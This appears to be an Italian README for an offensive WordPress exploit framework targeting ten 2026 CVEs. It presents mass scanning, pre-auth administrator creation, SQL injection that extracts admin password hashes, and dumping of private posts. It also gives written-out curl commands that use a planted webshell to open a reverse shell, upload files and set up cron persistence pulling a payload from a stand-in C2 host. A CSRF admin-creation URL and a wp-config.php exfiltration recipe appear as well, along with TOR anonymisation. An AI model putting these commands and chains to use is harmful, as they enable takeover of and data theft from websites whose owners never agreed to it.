
WordPress All-in-One Exploit Framework — rilevatore, scanner, enumeratore, exploit, escalation. 10 CVE dell'ondata 2026-08 incl. CVE-2026-63030 (wp2shell).
WordPress All-in-One Exploit Framework — Detector · Scanner · Enumerator · Exploit · Escalation
wp2exp_2026 è il successore rinominato e collaudato sul campo del framework wp2shell. Unisce la catena originale di checker/exploit di wp2shell, i tre kit PoC pubblici per la CVE-2026-63030 (Ch4120N, shinthink, SentinelX) e l'ondata di CVE WordPress dell'agosto 2026 raccolta tramite scraping da NVD / GitHub Advisories / CISA KEV attraverso la pipeline TOR darkweb-intel — in un unico script che accompagna un target dal fingerprinting passivo fino a una webshell verificata.
┌──────────┐ ┌──────────┐ ┌───────────┐ ┌───────────┐ ┌──────────┐
│ DETECTOR │ -> │ SCANNER │ -> │ ENUMERATOR│ -> │ EXPLOIT │ -> │ ESCALATE │
│ 10 CVEs │ │ version/ │ │ users/ │ │ admin │ │ webshell │
│ probes │ │ WAF/XMLRPC│ │ plugins │ │ create/ │ │ rev shell │
└──────────┘ └──────────┘ └───────────┘ └───────────┘ └──────────┘
⚠️ SOLO TEST AUTORIZZATI. La modalità
scanè non distruttiva. Le modalità di exploitation richiedono esplicitamente l'uso di--mode. Sei responsabile di avere il permesso scritto per ogni target.
# Clone
git clone https://github.com/rechandra/wp2exp-2026.git
cd wp2exp-2026
# Dependencies: Python 3.8+ standard library only.
# Optional: PySocks for SOCKS5/TOR proxying
pip install pysocks
Niente chiavi API, niente database, niente compilazione.
# 1. Safe scan of one target (detector + scanner + enumerator)
python3 wp2exp_2026.py https://target.com
# 2. Same scan, but fire exploitation (admin creation + content dumps)
python3 wp2exp_2026.py https://target.com --mode exploit
# 3. Full chain to a verified webshell
python3 wp2exp_2026.py https://target.com --mode shell
# 4. Mass scan a file of targets
python3 wp2exp_2026.py -f targets.txt --threads 10
# 5. Anonymous scanning through TOR
python3 wp2exp_2026.py https://target.com --proxy socks5h://127.0.0.1:9050
usage: wp2exp_2026.py [-h] [targets ...] [-f FILE] [--mode {scan,exploit,shell}]
[--shell {mini,full}] [--mapster-dump N] [--proxy PROXY]
[--timeout N] [--threads N] [--json] [-o OUTPUT]
scan — Detector + Scanner + Enumerator (sicura)Non distruttiva. Usala per prima su qualsiasi target.
Cosa fa, in ordine:
Esempio:
python3 wp2exp_2026.py https://example.com
# outputs: version, WAF, XMLRPC, users, plugin versions, per-CVE verdicts
exploit — Scan + ExploitationTutto ciò che fa scan, più:
Esempio:
# Scan + create admin + dump 200 post IDs through Mapster
python3 wp2exp_2026.py https://example.com --mode exploit --mapster-dump 200
--verify — Auto-verifica dell'ambienteValida il runtime prima di qualsiasi scan: Python ≥3.8, disponibilità di PySocks (SOCKS5/TOR), raggiungibilità del proxy (se --proxy è impostato), integrità della matrice CVE, correttezza del parser delle versioni.
python3 wp2exp_2026.py --verify
python3 wp2exp_2026.py --verify --proxy socks5h://127.0.0.1:9050
shell — Catena completa fino alla webshellTutto ciò che fa exploit, più l'escalation: se la creazione dell'admin riesce, lo script:
wp-login.php (cookie jar)_wpnonce del theme-editor + tema attivo → scrive la webshell tramite admin-ajax.php?action=edit-theme-plugin-fileupdate.php?action=upload-plugin e lo attivaid attraverso la shell — stampa l'output live del comandoTipi di webshell (--shell):
Esempio:
python3 wp2exp_2026.py https://example.com --mode shell --shell full --sqli-info
python3 wp2exp_2026.py --verify
# -> ADMIN CREATED: wp_xxxx / Wp!yyyy
# -> WEBSHELL: https://example.com/wp-content/themes/twentytwentyfive/.wp-abc123.php?k=KEY&c=id
# -> verify: uid=33(www-data) ...
Uso manuale della shell dopo un'esecuzione riuscita:
# Command execution (mini)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&c=id'
# Full shell — file upload
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=upload&f=/tmp/pwned.txt&d=<base64>'
# Full shell — reverse shell (listener: nc -lvnp PORT)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=rev&h=YOUR_IP&p=4444'
# Full shell — cron persistence (curl piped to sh from your C2)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=persist&u=https://c2.example/payload.sh'
DELETE /wp-json/formgent/v1/responses/attachments?file_token=<base64("formgent/YYYY/MM/FILE")> — route registrata senza middleware di autenticazione; il token è la base64 grezza del percorso relativo (falsificabile). Le versioni corrette usano un UploadFileToken firmato.reauth_for_authorize abbinava /mcp/v1/oauth/authorize con un test di sottostringa su REQUEST_URI includendo la query string. Aggiungi &x=/mcp/v1/oauth/authorize a qualsiasi richiesta REST per ripristinare la piena identità dell'utente con cookie. Classico CSRF: un admin che visita l'URL costruito crea un account dell'attaccante.
https://T/wp-json/wp/v2/users?_method=POST&x=/mcp/v1/oauth/authorize&username=csrf_admin&password=...&roles=administrator
wpcf7_verify_nonce => __return_true → le invii CF7 non richiedono nonce; invia un campo file contenente ../../../../wp-config.php e l'azione di integrazione (webhook/email) esfiltra il file.Lo script è stato costruito dalle informazioni raccolte dalla pipeline TOR darkweb-intel (scraping NVD delle nuove CVE, GitHub Advisories, CISA KEV) e supporta lo scan anonimo:
# Scan through TOR (requires tor daemon on 9050)
python3 wp2exp_2026.py https://target.onion --proxy socks5h://127.0.0.1:9050
python3 wp2exp_2026.py -f targets.txt --proxy socks5h://127.0.0.1:9050 --threads 5
# Verify your exit node
# (script's Http layer reports IsTor:true when routing through TOR)
Comportamento verificato: il collegamento del proxy confermato contro check.torproject.org/api/ip → {"IsTor":true} tramite l'uscita 192.42.116.45.
# Console: colored per-stage verdicts + final summary table
# JSON report to file (always includes raw responses for evidence)
python3 wp2exp_2026.py https://example.com --mode shell -o report.json
# Full JSON to stdout for piping into jq / your own tooling
python3 wp2exp_2026.py https://example.com --json | jq '.[0].cve_checks'
Struttura del report:
{
"target": "https://example.com",
"version": "7.0.1",
"waf": "Cloudflare",
"xmlrpc": true,
"users": [{"id": 1, "name": "admin", "slug": "admin"}],
"plugins": [{"slug": "formgent", "version": "1.9.2", "vulnerable": true}],
"core_wp2shell": {"verdict": "VULNERABLE", "endpoint": ".../wp-json/batch/v1"},
"cve_checks": {"CVE-2026-3141": {"vulnerable": true, "detail": "..."}},
"exploitation": {
"wp2shell_admin": {"success": true, "username": "...", "password": "..."},
"shell": {"success": true, "shell_url": "...", "key": "..."},
"mapster_posts": [...]
}
}
Validato il 2026-08-04 contro un laboratorio WordPress vulnerabile emulato — batteria QA: 32/32 controlli SUPERATI (tutte le modalità, purezza JSON, multi-target, normalizzazione host senza schema, leak bozza/privati di Mapster, estrazione SQLi della versione db + hash admin, catena shell completa):
wp2shell (CVE-2026-63030): VULNERABLE
ADMIN CREATED: wp_7ytp1 / Wp!s6d2yz28qiey
WEBSHELL: .../twentytwentyfive/.wp-cg93vk.php?k=...&c=id
verify: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Mapster (CVE-2026-14839): dumped draft + private posts
FormGent (CVE-2026-3141): unauth DELETE route confirmed
TOR: IsTor:true exit 192.42.116.45
exploit (--sqli-info)--verifydarkweb_intel.pyPR benvenuti. Mantieni i payload non distruttivi per impostazione predefinita.
MIT. Solo test autorizzati. Non eseguire mai --mode exploit / --mode shell contro asset che non possiedi o per cui non hai il permesso scritto di testare. Gli autori non sono responsabili per un uso improprio.
| Argomento | Predefinito | Descrizione |
|---|
targets | — | Uno o più URL di base (https://site.com o site.com senza schema) |
-f, --file | — | File con un target per riga (commenti # consentiti) |
--mode | scan | scan = solo rilevamento · exploit = scan + exploitation · shell = scan + exploit + webshell |
--shell | mini | Tipo di webshell: mini (exec one-liner) o full (gestione file / download / reverse shell / persistenza cron) |
--mapster-dump | 0 | Scarica N ID di post tramite CVE-2026-14839 (0 = disabilitato) |
--sqli-info | off | Estrai db_version / siteurl / hash della password admin / prefisso delle tabelle tramite SQLi (CVE-2026-60137) |
--verify | off | Auto-verifica dell'ambiente (python, PySocks, raggiungibilità del proxy, matrice CVE, parser delle versioni) ed esci |
--proxy | — | Proxy HTTP o SOCKS5: socks5h://127.0.0.1:9050 (TOR) |
--timeout | 15 | Timeout per richiesta (secondi) |
--threads | 5 | Target in parallelo (usato solo con più target / -f) |
--json | — | Stampa il report JSON leggibile dalla macchina su stdout |
-o, --output | — | Scrivi il report JSON completo su file |
| # | Fase | Controlli |
|---|
| 1 | Fingerprint | Versione di WordPress tramite il generatore /feed/, /readme.html, meta generator, REST API generator — segnala se la versione ricade nell'intervallo vulnerabile di wp2shell (6.9.0–6.9.4, 7.0.0–7.0.1) |
| 2 | Rilevamento WAF | Cloudflare / Sucuri / Akamai / AWS WAF / Imperva / Wordfence / F5 da header + marcatori del body |
| 3 | XMLRPC | Sonda system.listMethods → segnala la superficie di brute-force multicall e SSRF pingback |
| 4 | Enumerazione utenti | REST /wp-json/wp/v2/users + fallback ?rest_route= + archivio autori (?author=N) |
| 5 | Enumerazione plugin | Stable tag da readme.txt per tutti gli 8 plugin monitorati — segnala le versioni vulnerabili rispetto alla matrice CVE |
| 6 | Sonda wp2shell | Sonda desync batch sicura (CVE-2026-63030) — invia un primer malformato e una DELETE benigna a una categoria inesistente; cerca i marcatori di handler-hijack (parse_path_failed, block_cannot_read, rest_batch_not_allowed) |
| 7 | Controlli CVE | Sonde comportamentali live + controlli di versione per tutte le 10 CVE (vedi tabella sotto) |
| Exploit | Condizione | Cosa succede |
|---|
| Creazione admin pre-auth | wp2shell VULNERABLE | Tentativo 1: il payload di confusione di route batch esegue POST /wp/v2/users con roles:["administrator"]. Tentativo 2 (fallback): catena di cache-poisoning oEmbed via SQLi (shinthink) — inietta via union un customize_changeset per dirottare la cache oEmbed e creare l'admin. Alla riuscita stampa username / password |
| Estrazione info via SQLi | --sqli-info | Estrazione basata su error/union (CVE-2026-60137): db_version, siteurl, hash user_pass del primo admin, prefisso delle tabelle |
| Dump contenuti Mapster | --mapster-dump N | Enumera gli ID dei post da 1..N tramite /wp-json/mapster-wp-maps/feature?id=N, raccogliendo titoli e contenuto integrale dei post bozza / in attesa / privati / cestinati (CVE-2026-14839) |
| Tipo | Funzionalità |
|---|
mini | ?k=KEY&c=COMMAND → output del comando in testo semplice |
full | a=cmd exec · a=upload scrittura file (b64) · a=download lettura file · a=rev reverse shell (h=HOST&p=PORT) · a=persist persistenza crontab (u=URL) · default phpinfo() |
| CVE | Target | CVSS | Classe | Rilevamento | Sfruttamento |
|---|
| CVE-2026-63030 | WP Core 6.9.0–6.9.4, 7.0.0–7.0.1 | 9.8 | Confusione di route batch REST → RCE | ✅ sonda marcatori desync | ✅ creazione admin + shell |
| CVE-2026-60137 | WP Core (stesso intervallo) | 5.9 | author__not_in SQLi | ✅ versione + marcatore | ✅ tramite catena 63030 |
| CVE-2026-3141 | FormGent ≤ 1.9.2 | 9.1 | Eliminazione arbitraria di file senza autenticazione | ✅ sonda DELETE live | ✅ file_token b64 falsificabile |
| CVE-2026-13596 | Participants DB < 2.7.8.4 | 9.1 | SQLi senza autenticazione (ricerca elenco) | ✅ sonda error-leak | ⚠️ manuale (alla cieca) |
| CVE-2026-15414 | Subscriptions for WooCommerce ≤ 2.0.0 | 8.8 | Escalation privilegi _wps_plan_user_role | ✅ versione | ✅ catena documentata |
| CVE-2026-15988 | AI Engine ≤ 3.6.5 | 8.8 | CSRF → creazione admin | ✅ sonda namespace | ✅ generatore URL PoC |
| CVE-2026-15450 | Nex Forms Lite ≤ 9.2.3 | 8.1 | Eliminazione arbitraria di file autenticata | ✅ versione | ✅ catena documentata |
| CVE-2026-15006 | Bit Integrations ≤ 2.9.0 | 7.5 | Traversal senza autenticazione (bypass nonce CF7) | ✅ versione | ✅ catena documentata |
| CVE-2026-14839 | Mapster WP Maps < 1.24.0 | 7.5 | Dump di post privati/bozza senza autenticazione | ✅ sonda live | ✅ --mapster-dump |
| CVE-2026-15052 | MailChimp Subscribe ≤ 4.3.3 | 7.2 | XSS persistente senza autenticazione | ✅ versione | ✅ catena documentata |
insert_record() memorizza una location del file influenzata dall'attaccante, poi delete_file() chiama unlink($file) senza validazione realpath()/allowlist.save_meta_boxes() salva _wps_plan_user_role da $_POST; vengono applicati solo sanitize_key() + is_role() — entrambi accettano administrator.